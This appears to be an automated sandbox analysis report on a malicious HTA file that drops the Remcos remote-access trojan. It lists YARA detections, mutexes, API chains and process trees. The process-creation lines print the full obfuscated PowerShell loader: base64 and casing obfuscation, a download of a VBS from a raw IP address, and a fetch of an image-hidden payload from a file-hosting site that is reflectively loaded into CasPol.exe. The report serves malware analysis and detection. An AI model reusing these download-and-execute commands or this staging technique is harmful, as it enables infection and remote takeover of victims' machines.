Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_0043610D	13_2_0043610D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_00447310	13_2_00447310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_0044A490	13_2_0044A490
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_0040755A	13_2_0040755A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_0043C560	13_2_0043C560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_0044B610	13_2_0044B610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_0044D6C0	13_2_0044D6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_004476F0	13_2_004476F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_0044B870	13_2_0044B870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_0044081D	13_2_0044081D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_00414957	13_2_00414957
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_004079EE	13_2_004079EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_00407AEB	13_2_00407AEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_0044AA80	13_2_0044AA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_00412AA9	13_2_00412AA9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_00404B74	13_2_00404B74
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_00404B03	13_2_00404B03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_0044BBD8	13_2_0044BBD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_00404BE5	13_2_00404BE5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_00404C76	13_2_00404C76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_00415CFE	13_2_00415CFE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_00416D72	13_2_00416D72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_00446D30	13_2_00446D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_00446D8B	13_2_00446D8B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_00406E8F	13_2_00406E8F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_00405038	14_2_00405038
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_0041208C	14_2_0041208C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_004050A9	14_2_004050A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_0040511A	14_2_0040511A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_0043C13A	14_2_0043C13A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_004051AB	14_2_004051AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_00449300	14_2_00449300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_0040D322	14_2_0040D322
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_0044A4F0	14_2_0044A4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_0043A5AB	14_2_0043A5AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_00413631	14_2_00413631
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_00446690	14_2_00446690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_0044A730	14_2_0044A730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_004398D8	14_2_004398D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_004498E0	14_2_004498E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_0044A886	14_2_0044A886
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_0043DA09	14_2_0043DA09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_00438D5E	14_2_00438D5E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_00449ED0	14_2_00449ED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_0041FE83	14_2_0041FE83
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 14_2_00430F54	14_2_00430F54
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 15_2_004050C2	15_2_004050C2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 15_2_004014AB	15_2_004014AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 15_2_00405133	15_2_00405133
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 15_2_004051A4	15_2_004051A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 15_2_00401246	15_2_00401246
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 15_2_0040CA46	15_2_0040CA46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 15_2_00405235	15_2_00405235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 15_2_004032C8	15_2_004032C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 15_2_00401689	15_2_00401689
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 15_2_00402F60	15_2_00402F60

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: String function: 004169A7 appears 87 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: String function: 00433AB0 appears 41 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: String function: 004165FF appears 35 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: String function: 004341C0 appears 55 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: String function: 00422297 appears 42 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: String function: 00401F66 appears 50 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: String function: 004020E7 appears 40 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: String function: 0044DB70 appears 41 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: String function: 00444B5A appears 37 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: String function: 00413025 appears 79 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: String function: 00416760 appears 69 times

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: C:\Windows\SysWOW64\mshta.exe	Process created: Commandline size = 2007
Source: C:\Windows\SysWOW64\mshta.exe	Process created: Commandline size = 2007			Jump to behavior

Source: 12.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 12.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 12.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 12.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 12.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000000C.00000002.4098661182.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0000000C.00000002.4098661182.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0000000C.00000002.4098661182.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000007.00000002.1915796517.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 7652, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 7652, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: CasPol.exe PID: 8052, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.rans.phis.troj.spyw.expl.evad.winHTA@24/20@3/3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 13_2_004182CE GetLastError,FormatMessageW,FormatMessageA,LocalFree,free,

13_2_004182CE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 12_2_00416C9D GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,		12_2_00416C9D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 15_2_00410DE1 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueA,GetProcAddress,AdjustTokenPrivileges,CloseHandle,		15_2_00410DE1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 13_2_00418758 GetDiskFreeSpaceW,GetDiskFreeSpaceA,free,

13_2_00418758

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 12_2_0040E2F1 GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,

12_2_0040E2F1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 12_2_0041A84A FindResourceA,LoadResource,LockResource,SizeofResource,

12_2_0041A84A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 12_2_00419DBA OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

12_2_00419DBA

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\seethebestthingsforgetmebackwithgoodnewsthings[1].tiff

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7356:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7660:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Mutant created: \Sessions\1\BaseNamedObjects\Rmc-ET2B3I

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ued24ssx.dax.ps1

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebestthingsforgetmebackwithgoodnewsthi.vbS"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

System information queried: HandleInformation

Source: C:\Windows\SysWOW64\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: CasPol.exe, CasPol.exe, 0000000D.00000002.1946498945.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: CasPol.exe, CasPol.exe, 0000000E.00000002.1941224153.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: CasPol.exe, 0000000D.00000002.1946498945.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: CasPol.exe, CasPol.exe, 0000000D.00000002.1946498945.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
Source: CasPol.exe, CasPol.exe, 0000000D.00000002.1946498945.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: CasPol.exe, CasPol.exe, 0000000D.00000002.1946498945.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: CasPol.exe, 0000000D.00000002.1949767466.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: CasPol.exe, CasPol.exe, 0000000D.00000002.1946498945.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: verynicegirlwalkingarounftheworldmuuuah.hta

Virustotal: Detection: 13%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Evasive API call chain: __getmainargs,DecisionNodes,exit

Source: unknown	Process created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\verynicegirlwalkingarounftheworldmuuuah.hta"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C POWerSHeLl -ex bYPasS -NOp -w 1 -c dEVICECREdentiALdEpLOYMENT ; InvokE-EXprEssioN($(Invoke-exPREssiON('[syStem.texT.enCOdiNG]'+[cHAR]0X3A+[CHar]58+'utF8.GEtsTRING([SYsTem.coNVERt]'+[ChAr]0x3A+[CHAr]0x3a+'frOMbAsE64sTrIng('+[CHAR]34+'JGJvWG5VdSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1iZXJERUZJbml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBILHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLb29QLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFcVosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aWdtLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJbmdUWWpaeFVNKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmVmYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRWdOYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRib1huVXU6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy43Lzc3L3NlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGluZ3MudElGIiwiJEVOVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGkudmJTIiwwLDApO1N0YVJULXNsZUVQKDMpO2luVm9rRS1FWHByRVNTaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcc2VldGhlYmVzdHRoaW5nc2ZvcmdldG1lYmFja3dpdGhnb29kbmV3c3RoaS52YlMi'+[ChaR]34+'))')))"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POWerSHeLl -ex bYPasS -NOp -w 1 -c dEVICECREdentiALdEpLOYMENT ; InvokE-EXprEssioN($(Invoke-exPREssiON('[syStem.texT.enCOdiNG]'+[cHAR]0X3A+[CHar]58+'utF8.GEtsTRING([SYsTem.coNVERt]'+[ChAr]0x3A+[CHAr]0x3a+'frOMbAsE64sTrIng('+[CHAR]34+'JGJvWG5VdSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1iZXJERUZJbml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBILHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLb29QLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFcVosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aWdtLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJbmdUWWpaeFVNKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmVmYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRWdOYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRib1huVXU6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy43Lzc3L3NlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGluZ3MudElGIiwiJEVOVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGkudmJTIiwwLDApO1N0YVJULXNsZUVQKDMpO2luVm9rRS1FWHByRVNTaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcc2VldGhlYmVzdHRoaW5nc2ZvcmdldG1lYmFja3dpdGhnb29kbmV3c3RoaS52YlMi'+[ChaR]34+'))')))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2qf3pwzp\2qf3pwzp.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8DF2.tmp" "c:\Users\user\AppData\Local\Temp\2qf3pwzp\CSCB3A240E1501D48929A893BA197F62C4E.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebestthingsforgetmebackwithgoodnewsthi.vbS"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.mihrofgnimocsyad#aergh#iwsgnih##sebgnissik/77/7.321.542.271//:p##h';$restoredText = $originalText -replace '#', 't';$wheal = 'https://res.cloudinary.com/dmwnmemcm/image/upload/v1736770712/mq8ht5gredx4ck4rramp.jpg ';$nectars = New-Object System.Net.WebClient;$polyedrons = $nectars.DownloadData($wheal);$tropical = [System.Text.Encoding]::UTF8.GetString($polyedrons);$bubbas = '<<BASE64_START>>';$fairhood = '<<BASE64_END>>';$fulminatory = $tropical.IndexOf($bubbas);$quadriloge = $tropical.IndexOf($fairhood);$fulminatory -ge 0 -and $quadriloge -gt $fulminatory;$fulminatory += $bubbas.Length;$oxytrope = $quadriloge - $fulminatory;$moorcocks = $tropical.Substring($fulminatory, $oxytrope);$pelisse = -join ($moorcocks.ToCharArray() \| ForEach-Object { $_ })[-1..-($moorcocks.Length)];$unreigned = [System.Convert]::FromBase64String($pelisse);$chevaux = [System.Reflection.Assembly]::Load($unreigned);$cutesily = [dnlib.IO.Home].GetMethod('VAI');$cutesily.Invoke($null, @($restoredText, 'pulvilliform', 'pulvilliform', 'pulvilliform', 'CasPol', 'pulvilliform', 'pulvilliform','pulvilliform','pulvilliform','pulvilliform','pulvilliform','pulvilliform','1','pulvilliform','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
